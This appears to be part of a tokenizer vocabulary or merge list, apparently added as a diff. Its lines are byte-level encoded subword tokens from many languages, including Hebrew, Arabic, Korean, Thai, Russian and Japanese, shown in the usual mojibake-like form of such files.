+×IJ׳×Ĵ׾×Ļת +ĠìŀĪëĭ¤ëĬĶ +Ġساعة +ĠëĤĺíĥĢ +bö +à¸Ħัà¸Ļ +ĠdziaÅĤania +Ø©Ùĭ +ĠngÅ© +׳צ×Ĺ +ãģ¯ãģĤãĤĭ +ĠyaÅŁÄ±nda +stück +caracter +caracterÃŃsticas +Ġrá»Ńa +ĠÙħختÙĦÙ쨩 +ãģ«ãģĬãģijãĤĭ +à¹ģà¸ŀà¸ĩ +วิà¹Īà¸ĩ +תפ×ķ +ساÙĩÙħ +使ãģĨ +ÙĥرÙĬ +×IJפ×Ļ +............... +ĠÑĤаким +×Ļ׼×ķ×Ļ +شبÙĩ +جÙĬر +ãģĿãģ®ãģ¾ãģ¾ +acjÄĻ +ĠاÙĦترÙĥ +ĠاÙĦترÙĥÙĬ +ĠпÑĢавилÑĮно +ĠتعÙħÙĦ +à¸ģลà¹īา +Ġbiên +Ġ×ij׳×Ļ×Ļת +ĠклÑĥб +Ġ×ŀש×Ķ +вÑĪий +ãģĵãģ¨ãģĮãģ§ãģįãĤĭ +à¸ŀัà¸Ļà¸ĺุ +à¸ŀัà¸Ļà¸ĺุà¹Į +ר×ķ×Ŀ +ĠاÙĦÙ쨱ÙĨ +ĠاÙĦÙ쨱ÙĨسÙĬ +à¹Ģà¸Ľà¹ĩà¸Ļà¸Ħà¸Ļ +ãģĹãģ¦ãģĬãĤĬ +Ġthầy +ãĤĵãģłãģijãģ© +ì͍ +ÙħدÙĨ +تÙĪÙĨ +ĠмеÑĤал +ĠмеÑĤалл +ĠinÃŃcio +à¸Ńà¸Ńà¸ģà¸Īาà¸ģ +ëĴ¤ +Ġcuá»ijn +Ġbuá»Ļc +ÙĨسÙĬ +ächt +×ŀ×Ļ׳×Ļ×Ŀ +ãģķãģ¦ +ãģĮãģ§ãģį +ÑĬем +Ġtái +ĠЧÑĤ +ĠЧÑĤобÑĭ +à¸Ľà¸¥à¸¹à¸ģ +à¸Ĭุมà¸Ĭà¸Ļ +нÑģкий +Ġvững +Ġ×Ķ׾×ij +ële +Ġשע×ijר +ваÑĤÑĮÑģÑı +бой +عÙĪÙĨ +à¹ģà¸Ķà¸Ļ +Ġספר×Ļ×Ŀ +Ġtuyên +Ġnhiêu +ĠQuý +Ġhuyết +ãĤıãģĭãĤīãģªãģĦ +Ġ×ŀ׼ף +Ġ×Ķק׾ +Ġ׾×IJ×ķר +ĠÄIJiá»ĩn +شؤ +شؤÙĪÙĨ +Ġ×ŀ×Ĺפש +ĠпоÑģÑĤоÑıнно +×ŀ×Ļר +ìħĶ +ÐŀÑģ +ÐŀÑģнов +×ĸ×Ļת +ĠHá +ĠÑĩаÑģов +×IJ×ķ׾×Ļ +Ġmát +خرÙĪ +خرÙĪØ¬ +ÙĤضا +ÙĤضاÙĬا +à¹Ģà¸Ľà¸Ńรà¹Į +ĠÙĬÙĪÙĦ +ĠÙĬÙĪÙĦÙĬÙĪ +à¹Ĥà¸Ĺษ +׳פ׾ +ת×ķש +ת×ķש×ij×Ļ +Ġvários +×ŀר×IJ×Ķ +ëĿ¼ìĿ´ +ÙĨغ +×ijצע +гон +ĠÄIJược +عÙı +пÑĥÑģк +ĠÙĪØ§ÙĦÙģ +ücü +×Ļ×§×Ļ×Ŀ +ĠسبÙĬÙĦ +׾×ijף +ĠاÙĦÙĤرÙĨ +ס×ķת +ĠQuáºŃn +ãģĵãĤĮãģĮ +ãĥĸãĥ©ãĥ³ãĥī +×Ĵ×ŀר +ĠwartoÅĽci +ĠÙĪØ¨ÙĬÙĨ +Ġdạ +ÐIJв +ÐIJвÑĤо +Ġolacaktır +à¸Ļà¸Ĺà¹Į +Ùħطار +Ġ×¢×§×ij +Ġתפ +ãģĹãģ¦ãģĦãģ¦ +צ×ŀ×Ĺ +à¸Īà¸Ńà¸ĩ +Ġöde +ì፠+ÙĨاس +調ãģ¹ +ĠогÑĢомн +ë³´íĹĺ +×ĺ×§ +×ĺקס×ĺ +ĠbaÅŁv +ĠbaÅŁvuru +Ġpomys +ĠpomysÅĤ +ãģ«ä¹Ĺ +Ġש׼ף +ĠاÙĦÙħسؤÙĪÙĦ +Ġзан +ĠзанÑıÑĤ +Ġdương +ãĥĹãĥ¬ãĤ¤ +ลà¸ļ +ÑĤика +ĠAralık +Ġнедо +Ġmá»Ļ +Ġoran +Ġoranı +Ġktór +ĠktórÄħ +Ġ×Ķ×IJ×Ĺר×ķ׳×ķת +ائÙĨ +ÅĦs +ÅĦska +åĽ½ãģ® +×ŀ×ĺ×Ļ +ĠвопÑĢоÑģÑĭ +à¸Ńà¸ĩà¸Ħà¹Įà¸ģร +×ŀ×ķצ×IJ +Ġpóź +Ġpóźniej +ש×ŀ×IJ׾ +Ġkaps +Ġkapsam +Ġkapsamında +Ġmáquina +ĠÅĽwiecie +ĠhoÃłng +Ġözgü +×Ĵ×ķר×Ŀ +ãģĤãģŁãĤĬ +à¸ķัà¸Ķสิà¸Ļ +à¸ķัà¸Ķสิà¸Ļà¹ĥà¸Ī +бÑĢи +ãģ«ãģªãĤĭãģ¨ +تÙĥÙĪÙĨ +Ġ×ķ×Ķ×Ļ×IJ +Ġchiếu +ÑģÑĤанав +ÑģÑĤанавли +ÑģÑĤанавлива +×ŀ×ķ×Ĵ +cité +ĠKörper +Ġש×Ĵ×Ŀ +عظ +عظÙĬÙħ +Ġ×Ķ×IJ×Ļש×Ļ +Ġmatière +ĠÙģÙĪÙĤ +Ġkto +ĠktoÅĽ +à¸Ļà¹Ĥย +à¸Ļà¹Ĥยà¸ļาย +å¾ħãģ¡ +à¹Ģมà¸Ļ +à¹Ģมà¸Ļู +AÃĩÃĥO +Ġtù +Ġtùy +ãĥĪãĥ³ +ĠоÑĤказ +Ġ×ŀ×ķצר +ülü +ãģķãĤĵãģ« +Ġ×Ĺ×ķ×ij +קר×Ļ×IJ×Ķ +ĠاÙĦخدÙħات +ĠÙĦÙħدة +رؤ +رؤÙĬØ© +ãĤĴè¦ĭãģ¤ãģij +à¸Łà¸² +Ġréussi +à¸Ļัà¸ģà¹Ģรียà¸Ļ +ĠÑĩиÑģл +à¸ģารà¹Ģลà¹Īà¸Ļ +Ġhazırl +Ġhazırlan +ĠпеÑĢвÑĭй +лим +ĠоÑĤзÑĭвÑĭ +ĠwyjÄħ +ĠwyjÄħtk +ĠØ£ÙĤÙĦ +ס×ļ +Ġê²°ìłķ +Ġ׾×ŀעש×Ķ +Ġlắp +à¹ģà¸ļร +à¹ģà¸ļรà¸Ļà¸Ķà¹Į +วà¹Īาà¹Ģà¸Ľà¹ĩà¸Ļ +Ġبدا +ĠبداÙĬØ© +ãģ¨ãģĦãģĨãģ®ãģĮ +иÑĩеÑģким +à¸ģารà¸ŀัà¸Ĵà¸Ļา +ĠbÃło +ĠmiaÅĤa +ywaÄĩ +ĠMärz +ĠÙĨسبة +Ġéconomique +×ĸ×ŀ +×ĸ×ŀ׳×Ļ×Ŀ +æŃ¢ãĤģ +Ġtá»§ +íķĺìĭł +Ġkażdego +straÃŁe +à¸Ĭีà¹ī +à¹Ģà¸ļา +ÑĢеÑģÑĥÑĢÑģ +евой +شباب +à¸ķà¹Īาà¸ĩà¸Ľà¸£à¸°à¹Ģà¸Ĺศ +Ġ×IJ×Ļש +Ġ×IJ×Ļש×Ļת +×Ļ×ķפ +×Ļ×ķפ×Ļ +ĠìļĶ구 +ì¡°ìĤ¬ +ãģ£ãģŁãĤī +׾×Ļ×§ +миниÑģÑĤÑĢ +ãĤĤãģ®ãģ¯ +Ġlương +Ġнаи +Ġнаибол +Ġнаиболее +íİĺ +à¹ģà¸ŀà¹ī +ãĤŃãĥ¥ +ĠкоÑĤоÑĢÑĭм +à¹ģà¸Ĺà¸ĩ +à¹ģà¸Ĺà¸ĩà¸ļà¸Ńล +Ġ׳×Ļ×Ķ +Ġ׳×Ļ×Ķ×ķ׾ +âĤª +ĠGiải +ĠиÑģполÑĮзова +ëł¥ìĿĦ +ãģĹãģĭãĤĤ +à¸ģà¹ĩà¸ķà¹īà¸Ńà¸ĩ +ĠÑĢеб +ĠÑĢебен +ĠÑĢебенка +تÙĪØ§ØµÙĦ +ãĤ°ãĥ«ãĥ¼ãĥĹ +ãĤĦãĤī +à¹Ģà¸Ľà¸´à¸Ķà¸ķัว +бÑĢо +ë°ĸìĹIJ +ÙĨÙİØ§ +×Ķ×Ĵ +×Ķ×Ĵ׳×Ķ +à¸Ĺรั +à¸Ĺรัà¸ŀ +à¸Ĺรัà¸ŀยà¹Į +Ġkhá»iji +עצ×ŀ×ķ +болезн +Ġë°ĽìķĦ +มà¸Ļ +มà¸Ļุ +มà¸Ļุษ +มà¸Ļุษยà¹Į +âĹĨ +×ŀצ׾×Ļ×Ĺ +Ñıвление +ÙħØ·ÙĦ +ÙħØ·ÙĦÙĪØ¨ +خاÙĦÙģ +تÙĪÙĤÙģ +ãģ§ãģįãģ¾ãģĽãĤĵ +оÑģÑĤей +меÑĩа +기ëĬĶ +תשע +صÙĬب +Ġ×ij×¢×ķ×ĵ +à¸Ĥà¸Ńà¸ĩà¹Ģà¸Ĥา +ÑĤÑıж +ĠÑĥпÑĢав +ĠÑĥпÑĢавлениÑı +Ġgénér +ĠthÃŃ +פ×ļ +ĠرÙħض +ĠرÙħضاÙĨ +Ġtruyá»ĩn +إعداد +ãĤµãĥĿãĥ¼ãĥĪ +Ġполно +خاÙħ +ÐŁÐµÑĤ +ÐŁÐµÑĤеÑĢ +ÐŁÐµÑĤеÑĢбÑĥÑĢ +ÐŁÐµÑĤеÑĢбÑĥÑĢг +ÙħÙĨتدÙī +ãģķãĤĮãģ¾ãģĹãģŁ +ĠëĮĢíķĺìŬ +à¸ľà¸¹à¹īà¸Ĺีà¹Ī +Ġ×ŀ×IJ×ķ +׾׳×ĵ +оÑĩнÑĭе +ĠнаÑĩала +Ġ׾×Ļ׾×ĵ×Ļ×Ŀ +овое +ãģĻãĤĭãģĵãģ¨ãģ§ +ĠاÙĦÙĨÙģ +ĠاÙĦÙĨÙ쨷 +ìŀĪëĬĶ +غÙĨÙĬ +פ×ĵ +ãĤ¾ +ĠCré +ãģ©ãģ¡ãĤī +ثاÙĨ +ÑĢабаÑĤ +ÑĢабаÑĤÑĭва +Ġê°Ļëĭ¤ +à¸Īั +à¸Īัà¸ģร +Ġchụ +Ġchụp +ĠмаÑģÑĤ +ĠмаÑģÑĤеÑĢ +Ġnắm +ĠÑģÑĤали +Ġ×Ķ×IJ×Ļר×ķ×¢ +ãĤ½ãĥ³ +åĪĨãģĭãĤĬ +طبع +بدا +gráfico +геÑĢ +à¸Ķำà¹Ģà¸Ļิà¸Ļà¸ģาร +Ġsaldır +Ġsaldırı +вÑĪиÑħ +ãģĭãģ£ãģŁãģ§ãģĻ +Ġyapıyor +ĠاÙĦÙģØª +צרפת +здоÑĢов +×ij×¢×ľ +Ġ×IJ×ŀ×Ļת×Ļ +ĠобÑĭ +ĠобÑĭÑĩ +ĠобÑĭÑĩно +Ġ׾×ķ×ŀר +تÙĥÙĨ +تÙĥÙĨÙĪÙĦÙĪØ¬ +تÙĥÙĨÙĪÙĦÙĪØ¬ÙĬا +Ġhakkı +ĠÑĢав +ĠÑĢавно +رÙĬÙĥ +Ġ×ij×ŀ×Ļ×ĵ +Ġ×ij×ŀ×Ļ×ĵ×Ķ +à¹ģà¸ģà¹īว +Ġìĸĺ +Ġìĸĺ기 +ãģĹãģ¦ãģĦãģ¾ãģĹãģŁ +Ġkısm +Ġkısmı +걸 +åĨħãģ® +ì§ķ +à¹Ģหมืà¸Ńà¸Ļà¸ģัà¸Ļ +ĠÙģÙIJ +ĠÙģÙIJÙĬ +ÙĤاعدة +Ġmożesz +ÙħصاÙĦ +ÙħصاÙĦØŃ +ãģ¾ãģŁãģ¯ +бег +Ġsıc +Ġsıcak +ÑĩиÑģ +ÑĩиÑģлен +Ġног +ãĥģãĥ£ãĥ³ +ãĥ«ãĥī +Ġgió +Ġsını +Ġsınıf +иваÑĤÑĮ +Ġquên +Ġìłģ +Ġìłģìļ© +ĠJoão +ÙģØ§Ø¯ +ĠGlück +à¸Ĺà¸Ńà¸Ķ +Ġgói +ï¼Ĭ +Ġdétail +ĠدÙĬسÙħ +ĠدÙĬسÙħبر +ë¡ľìĦľ +×ŀ×ķ×Ĺ +à¹Ħฮ +ĠоÑĤд +ĠоÑĤдÑĭÑħ +Ġkhuyến +à¸Ħà¸Ńย +ĠجÙĨÙĬ +ĠجÙĨÙĬÙĩ +ĠاÙĦدÙģØ§Ø¹ +à¸Ļà¹īำหà¸Ļัà¸ģ +ĠìĤ¬ëŀĮëĵ¤ìĿ´ +Ġthừa +ĠÃ¶ÄŁrenci +ĠпомоÑīи +ĠczÄĻÅĽÄĩ +ש×ĺר +ĠNhi +ĠNhiá»ģu +׳צ×Ļ +ĠнаÑĪем +ĠkarÅŁÄ±laÅŁ +Ġ×Ķש׳×Ļ×Ŀ +ĠÄIJưá»Ŀng +Ġtrú +ĠÑĢазлиÑĩнÑĭÑħ +ĠاÙĦØ´Ùĩر +Ġ×ľ×¢×ķ׾×Ŀ +ØŃجر +ĠÄijá»ķ +ĠìĿĺíķ´ +à¸ļà¹Īà¸Ńย +Ġ×Ķ×Ļ׾×ĵ +ãģ¨ãģªãģ£ãģŁ +Ġ×Ĺ×ķ×ķת +Ġש×Ļר×ķת×Ļ +Äħcy +سرÙĬ +Kİ +פ׳×ķ +ÑģÑĤÑĢÑĥкÑĤÑĥÑĢ +ÑĤÑĢÑĥд +Ġ×Ķקר +Ġ×Ķקר×ķ×ij +ĠtháºŃm +èģŀãģį +ÙĤÙĪÙĬ +клÑİÑĩен +ÑĤеÑħ +ÑĤеÑħнолог +è¡Įãģ£ãģŁ +Ġ×ķ×IJ×Ļף +ĠÅŁeklin +ĠÅŁeklinde +rô +ÑĢог +ĠновÑĭе +Ġס×ij×Ļ×ij +ĠtecnologÃŃa +×¡×Ľ +×¡×Ľ×ķ×Ŀ +ĠÅŀub +ĠÅŀubat +Ġ×Ķ×ŀ׾×IJ +Ġwypos +Ġwyposaż +ãģ¯ä½ķ +ãĤ¬ãĥ³ +ê°ĸ +Ġкакие +Ġçocuklar +Ġ׾צ×ĵ +Ġkayıt +ĠмеÑģÑĤе +ÙħدÙĬÙĨØ© +Ġ׼×Ĵ +Ġ׼×Ĵ×ķף +ãģĹãģ¦ãĤĭ +ĠÙħاÙĬÙĪ +ãģ£ãģ¦ãģĹãģ¾ãģ£ãģŁ +ĠпÑĢогÑĢаммÑĭ +à¹ģลà¸Ļà¸Ķà¹Į +ãĥ¯ãĤ¤ +ער×ķ×¥ +Ñģид +ĠBöyle +Ġì²ĺìĿĮ +Ġתפק×Ļ×ĵ +ĠTrên +íĥĪ +ĠÐłÐ¾ÑģÑģий +ĠÐłÐ¾ÑģÑģийÑģкой +ĠsÃłn +Ġrègle +ĠyaklaÅŁÄ±k +à¹Ģลิà¸ģ +ĠدائÙħ +Ġ×ķ×Ĵ +ابر +Ġbè +ĠاÙĦÙĤدÙħ +ĠÑĢеÑĪениÑı +hiên +ÑĤик +ÄĦ +à¸ļรรยาà¸ģ +à¸ļรรยาà¸ģาศ +רצ×ķף +åĭķãģį +ĠGäste +Ġ기본 +ĠÙĬعرÙģ +ĠSá»Ń +gÅĤÄĻb +à¹Ģà¸Ńส +×IJ×ŀ×Ļף +ĠпÑĥнк +ĠпÑĥнкÑĤ +Ġ×Ļ×ķ×ĵ×¢×Ļ×Ŀ +ãĤ«ãĥ©ãĥ¼ +Ġ×ijס×ĵר +Ġbuá»ĵn +йÑĤ +йÑĤеÑģÑĮ +ãĤĴæ±ĤãĤģ +Ġ×IJ×ª×Ľ×Ŀ +Ġ모르 +ظرÙĪÙģ +ÑĩеÑģÑĤво +ìĸ´ìĦľ +Ġодна +Ġkapı +Ġëħ¸ëł¥ +ĠKüche +ĠاÙĦتش +Ø·ÙĬب +ĠíĬ¹íŀĪ +ĠвÑĭпÑĥÑģ +ĠвÑĭпÑĥÑģк +×ĵת×Ļ +ĠuÄŁ +ĠuÄŁra +ائÙĩا +Ġthoát +ãģªãĤĤãģ® +ÑijÑĢ +기ê°Ģ +ĠgeliÅŁme +تØŃÙĤ +تØŃÙĤÙĤ +ĠопаÑģ +бÑĢоÑģ +หุ +หุà¹īà¸Ļ +ì¼Ģ +ãĤ¹ãĥŀ +ãĤ¹ãĥŀãĥĽ +Ø£Ù쨱 +Ø£ÙģØ±Ø§Ø¯ +ĠThá»±c +Ġthắ +ãĥªãĥ³ãĤ¯ +Ġniá»ģm +ĠHöhe +عÙħار +ÙĥÙĪØ±ÙĪÙĨ +ÙĥÙĪØ±ÙĪÙĨا +ĠÄIJến +ĠÑģамом +ĠÑĤеле +ĠÄijoán +à¸Ħวามà¸Ħิà¸Ķà¹Ģหà¹ĩà¸Ļ +ĠдиÑģк +أطÙ쨧ÙĦ +มารà¹Į +à¸Ĺหาร +à¸Ĺà¸Ļ +ĠبعÙĬد +ĠاÙĦÙĩÙĨد +åĩºãģĹãģ¦ +Ġkarde +ĠkardeÅŁ +×Ķ×Ļס×ĺ×ķר +×Ķ×Ļס×ĺ×ķר×Ļ×Ķ +éģ¸ãģ³ +عاÙħÙĦ +à¸Ĥยาย +Ġtürl +Ġtürlü +ĠìĿ¼ìĿ´ +Ġmatéria +Ġ׼׾×ķ×ŀר +ãĥģãĥ£ãĥ¼ +جÙħاعة +ĠÑģвоим +Ø¥ÙĤاÙħØ© +ä¾ĭãģĪãģ° +ساب +آخر +ÙĤدÙĬر +×IJ×ŀ×Ļ +ìĸ» +Ġ׳×ķספת +ĠÐĴлад +ĠÐĴладим +ĠÐĴладимиÑĢ +Ġestará +ãģĵãģĨãģĦãģĨ +ãĤĴ使ç͍ +มาà¸ķร +มาà¸ķรà¸IJาà¸Ļ +ãģ£ãģ½ +Ġnú +Ġnúi +ยาà¸ĩ +ĠاÙĦجÙĨس +Ġüstün +ëľ» +ãĤ»ãĥ« +ãģ¦ãģĦãģįãģ¾ãģĻ +Ġ×Ĺ×ķ×ĸ +Ġ×Ĺ×ķ×ĸר +ĠÐĵлав +à¹Ĥà¸Ĭà¸Ħ +íıIJ +ÙĨتظر +Ġ×Ĵ×ij×Ļ +عÙĤب +intér +intérêt +×ŀפ×Ĵ +×ŀפ×Ĵש +Ġthù +اÙģØª +Ġ×ŀשפ +Ġ×ŀשפ×ĺ×Ļ +ĠÙħÙĪØ§ÙĤع +è¦ļ +è¦ļãģĪ +×ĵ×Ļף +à¹Ģรืà¹Īà¸Ńà¸ĩราว +ãģ¾ãģĤ +Ġghế +иÑĢÑĥÑİÑĤ +à¸ģว +à¸ģวà¹īาà¸ĩ +ĠповеÑĢ +ĠповеÑĢÑħ +ĠповеÑĢÑħноÑģÑĤ +׳×ĵר +ĠконÑĨе +Ġдолжна +Ġ×Ļש×Ļר +acaģız +ìĹĶ +ĠnÃŃvel +Ġör +Ġörnek +ÙĥÙģ +ĠФедеÑĢаÑĨии +Ġ구ìĦ± +หัวà¹ĥà¸Ī +ĠVáºŃy +мед +меди +медиÑĨин +медиÑĨинÑģк +ازÙĬ +×Ĵ×ij×ķ׾ +ÑĦÑĢ +Ġzusätzlich +à¸ģà¸ģ +ĠاÙĦاÙĤتصادÙĬØ© +Ġhè +luÄŁun +جÙİ +à¹Ħà¸Łà¸¥à¹Į +ÄIJT +ãģĿãģ®ä»ĸ +à¸Ĺิà¹īà¸ĩ +ĠاÙĦØ£ÙĪ +رسÙħ +æ°Ĺãģ¥ +ìĿ´ë©° +ÑĮев +صط +ĠاÙĦاستث +ĠاÙĦاستثÙħار +à¸Ńาà¸Ħาร +ĠÑĤоÑĩно +ĠVân +à¸Ńร +à¸Ńรà¹Īà¸Ńย +ĠاÙĦسÙĨØ© +ĠcÆ°á»Ľi +×Ļ×Ķף +íį¼ +話ãģĹ +âĹĭ +ĠìķĬìĿĢ +ãĥ¡ãĥ¼ãĤ +ãĥ¡ãĥ¼ãĤ« +ãĥ¡ãĥ¼ãĤ«ãĥ¼ +ĠÑĤепло +å½¼ãĤī +Ġİz +Ġİzmir +íĻį +Ġrượ +Ġrượu +æĢĿãģĦåĩº +ĠPhạm +Ġcháu +צ×Ļ×ķת +ĠìĿ¼ë³¸ +ìĤ¬ëĬĶ +ĠÑģоздан +Ġaracı +Ġער +Ġער×Ļ׼×Ķ +ĠíķĺëĤĺëĭĺìĿĺ +dziÅĤ +à¸Ľà¸£à¸°à¸ĺาà¸Ļ +ĠserÃŃa +ĠìŀĪëıĦë¡Ŀ +درج +íķľëĭ¤ëĬĶ +à¸Ńาà¸Ĺ +à¸Ńาà¸Ĺิà¸ķ +à¸Ńาà¸Ĺิà¸ķยà¹Į +ÑĤелÑĮнÑĭй +ĠخدÙħات +×ŀ׳×ĺ +Ġlược +ĠSÃłi +ĠÙĪØ§Ø¶ +ĠÙĪØ§Ø¶ØŃ +غاز +ĠdoÄŁal +Ġ×ijש×Ŀ +Ġдлин +Ġإطار +Ġ×ijספר +ãĤĴä¸İ +ãĤĴä¸İãģĪ +Ġë²ķë¥ł +ĠÑĥвели +ĠÑĥвелиÑĩи +สà¹Ħà¸ķ +สà¹Ħà¸ķลà¹Į +à¹Ħà¸ģล +×ij×Ĺף +ĠìĿ´íĽĦ +Ġmunic +ĠmunicÃŃpio +تÙħØ«ÙĦ +ĠÄijáo +Hôtel +Ġlá»Ńa +ĠÄijẳng +Ñĩки +شرÙĪ +شرÙĪØ· +ĠìĿ´ë¥¼ +ÙĬÙĭا +×ŀ׾×ļ +×ŀ×Ķ×Ļר×ķת +ĠобÑıзаÑĤелÑĮ +ĠобÑıзаÑĤелÑĮно +énergie +Ġmudança +Ġmụ +Ġmụn +Ġnº +ĠاÙĦتعا +ĠاÙĦتعاÙĪÙĨ +ĠاÙĦاجتÙħاعÙĬØ© +ĠплаÑģÑĤ +Ġëĵ±ìĿĺ +ãĥIJãĤ¤ãĤ¯ +ÙĩجÙĪÙħ +ĠSaúde +Ġì¤ijìļĶíķľ +Ġ×Ķצ×Ļ×ij×ķר +×ª×§×Ł +ĠاÙĦعاÙĦÙħÙĬ +ĠболÑĮÑĪой +ĠÙĥÙĦÙħ +ĠÙĥÙĦÙħØ© +ãģ®ãģ§ãģ¯ãģªãģĦãģ§ãģĹãĤĩãģĨãģĭ +ĠÙħباراة +Ġש×IJ׳ +Ġש×IJ׳×Ĺ׳×ķ +ãĤ¹ãĤ¿ãĤ¤ãĥ« +ĠSaÄŁ +ĠSaÄŁlık +Ġhư +׳×Ĺ×Ķ +Ġ×ijקר×ij +طعÙħ +หิà¸Ļ +à¸Ĺุà¸ģวัà¸Ļ +à¸Ħรัà¹īà¸ĩà¸Ĺีà¹Ī +ĠlÃłnh +Ġdonné +ãģĽãģĦ +جزÙĬرة +доÑĢож +ì¼ľ +تÙĨظÙĬÙģ +ãĥģãĥ§ +Ġaldıģı +جاج +ĠÑĤомÑĥ +à¸Ľà¸´ +Ġ×ijרשת +ãģıãģªãĤĬãģ¾ãģĻ +ĠпÑĢинÑĨип +Ġ×Ĺ׾×ķ +ëı¼ +×ķ×Ĵש +سس +à¸Ľà¸¹ +Ġhầu +æĦŁãģĺãĤĭ +ï¼´ +دÙĪØ§ +ĠÑģмог +scrição +ĠtháºŃn +Ġר×ķ×IJ×Ķ +обÑĢажен +ĠاÙĦتجارÙĬØ© +طبÙĬع +jÄħcÄħ +íĸīìľĦ +ĠновÑĭй +Ġ×ŀ×Ĺ×ĵש +æĮ¯ãĤĬ +gué +Ġ×IJ×Ļר×ķ×¢ +Ġ×IJ×Ļר×ķ×¢×Ļ×Ŀ +ĠاÙĦذÙĩب +×ĵ×IJ +تاÙĨ +ãģłãģĹ +à¸Ńัà¸ķรา +à¹Ĥà¸Ī +بÙĦاد +×Ķ×Ļ×Ļ׳×ķ +ĠÑģпе +ĠÑģпеÑĨиалÑĮно +ĠÅĽwiata +ãĤĵãģ§ãģĻãĤĪ +شرÙĥØ© +ĠpÅĤyt +Ġsitué +Ġ׼×IJ׾×Ķ +ס×ijר +Ġkażd +Ġkażdym +ãĤĴæĮģãģ¤ +׾×Ķ׾ +׾×Ķ׾ף +ĠwÅĤas +ĠwÅĤasne +ĠsaÄŁlan +×ŀ×¢×ľ×Ķ +ĠاÙĦاÙĪÙĦ +ìĹIJìĦľëıĦ +×IJ×Ļר×ķפ×Ķ +تÙĤÙĨÙĬØ© +Ùħائ +Ùħائة +ĠcompañÃŃa +Ġsürek +Ġsürekli +ĠиÑģкÑĥÑģ +ĠиÑģкÑĥÑģÑģÑĤв +ĠBürger +ת×Ĺר +ת×Ĺר×ķת +à¸ŀรà¹īà¸Ńมà¸ģัà¸ļ +Ø´Ùħ +à¸ĸืà¸Ńวà¹Īา +è¾¼ãĤĢ +ä¼ijãģ¿ +ĠاÙĦأب +ĠÑģÑĤоимоÑģÑĤÑĮ +ĠпÑĢава +mayın +หวย +ĠاÙĦطبÙĬعÙĬ +à¸Ĺีà¹Īà¸ŀัà¸ģ +ĠEstá +ÑĭваÑİÑĤ +بسÙĬ +بسÙĬØ· +Ġ×ij×¢×ijר +åı¯èĥ½ãģ§ãģĻ +Ġ×ĵ×ķ׾ +Ġ×ĵ×ķ׾ר +ÙĩÙİØ§ +воÑĢоÑĤ +ãģ¦ãģĦãģ¾ãģĹãģŁ +à¹Ĥà¸Ĺรศ +à¹Ĥà¸Ĺรศั +à¹Ĥà¸Ĺรศัà¸ŀ +à¹Ĥà¸Ĺรศัà¸ŀà¸Ĺà¹Į +Ġק׳ +ĠاÙĦØ«ÙĨ +ĠاÙĦØ«ÙĨائÙĬØ© +Ġcoût +à¸ķิà¸Ķà¸ķัà¹īà¸ĩ +Ġörg +Ġörgüt +ĠاÙĦØ®ÙĦÙĬ +ĠاÙĦØ®ÙĦÙĬج +Ġbá»įn +×ķ׾×ķ×Ĵ×Ļ +ëŀľ +ĠÐijолÑĮ +ĠÐijолÑĮÑĪ +×Ĵ×ijר×Ļ×Ŀ +ÙĤÙĬد +×ij×Ļ×ĺ×ķ×Ļ +æīĵãģ¡ +ĠolmuÅŁ +fäh +fähig +ลาà¸Ļ +ĠÙĤطر +שפ×Ķ +èªŃãĤĵãģ§ +à¸Ĥวา +Ġchiếm +ãĤ¤ãĥ³ãĤ¿ +ãĤ¤ãĥ³ãĤ¿ãĥ¼ãĥ +ãĤ¤ãĥ³ãĤ¿ãĥ¼ãĥį +ãĤ¤ãĥ³ãĤ¿ãĥ¼ãĥįãĥĥãĥĪ +Ġ׾ש×ŀ×ķר +ĠترÙĥ +ĠترÙĥÙĬا +ר×ķ×ĺ +ã썿ĢĿãģĦãģ¾ãģĹãģŁ +ĠاÙĦتÙĤ +Ġdư +ãģ¦ãģıãĤĮãĤĭ +ãģĹãģŁãģĵãģ¨ +Ġróżne +ĠاÙĦØ·ÙģÙĦ +ĠPosté +Ġ×ŀש×ķ×Ŀ +ÑįÑĢ +ĠÑĢабоÑĤаеÑĤ +ãĤ·ãĥª +ãĤ·ãĥªãĥ¼ãĤº +Ġ×ij×Ķ×Ĺ׾×ĺ +×§×Ķ×Ļ׾×Ķ +ãĤ«ãĥ¡ +ãĤ«ãĥ¡ãĥ© +O +ĠìĤ¬ìĿ´ +Ġkì +ĠthÆ°á»Ľc +ضبط +ÙĤبÙĪÙĦ +åĪ¥ãģ® +Ġparticulière +ĠÑģвоем +Ġעסק +Ġעסק×Ļ×Ŀ +×ij×Ĺ×Ļר×ķת +×ij×Ļ׳×ķ +à¸ĭà¸Ń +Ġ×¢×ķ×ijר +ãģłãģ£ãģŁãģ®ãģ§ +ıldıģı +Ùħدار +Ùħدارس +주ìĭľ +à¸Ńาศ +à¸Ńาศัย +Ġtấm +à¸ŀิà¸Ī +à¸ŀิà¸Īาร +à¸ŀิà¸Īารà¸ĵา +ÑĤелÑĮнÑĭе +ÑģкÑĥÑİ +ÐľÐĺ +à¹Ģà¸ģา +à¹Ģà¸ģาหล +à¹Ģà¸ģาหลี +×ĵ×Ĺ +à¹Ģà¸Ĭิà¸ĩ +ĠدÙĤÙĬÙĤØ© +íķĻìĥĿ +Ġש×IJ׾×Ķ +Ġcontrôle +Ġsituação +à¸Ĥà¸Ńà¸ĩà¸ľà¸¹à¹ī +ÙĨØ·ÙĤ +ê³¼íķĻ +หลายà¸Ħà¸Ļ +Ġnắng +ÙĤÙı +ì¡°ê±´ +Ñķ +ãĥĥãģ¨ +×ŀ×Ļ׾×Ķ +Grün +×Ļ×Ļ×¢ +×Ļ×Ļ×¢×ķ×¥ +×ŀ׳׼ +ëŃIJ +×ŀ×¢×ŀ×ĵ +สำà¸Ļัà¸ģ +جدد +à¸Ħัà¸Ķ +Ġ×Ķ×ŀשפ +Ġ×Ķ×ŀשפ×Ĺ×Ķ +×ŀשק׾ +ÙĦÙı +Ġtytu +ĠtytuÅĤ +ÑĪей +ĠìĿ¼ë¶Ģ +ÑĪение +Ġphóng +ĠìĹŃìĤ¬ +ãĤ«ãĥ³ +Ġtúi +ĠÙĨÙĪÙģ +ĠÙĨÙĪÙģÙħبر +grün +ĠاÙĦØ´ÙħاÙĦ +ÅĽwiadc +ÅĽwiadczenie +ער×Ķ +Ġ×¢×ķ×ij +Ġ×¢×ķ×ij×ĵ×Ļ×Ŀ +×ĵ×ķ×Ĵ×ŀ×IJ +ä»Ĭãģ¯ +Ġvão +ĠТем +ÑģилÑĮ +Ġchợ +Ùħرا +ÙħراÙĤب +à¹Ħมà¹Īรูà¹ī +Ġرائع +×IJ׳×Ĺ׳×ķ +สà¹Īà¸ĩà¹Ģสริม +צ×Ĺ +ĠìŀĪìĸ´ìĦľ +Ġkurulu +ĠkuruluÅŁ +ĠÃĸzellik +ĠÃĸzellikle 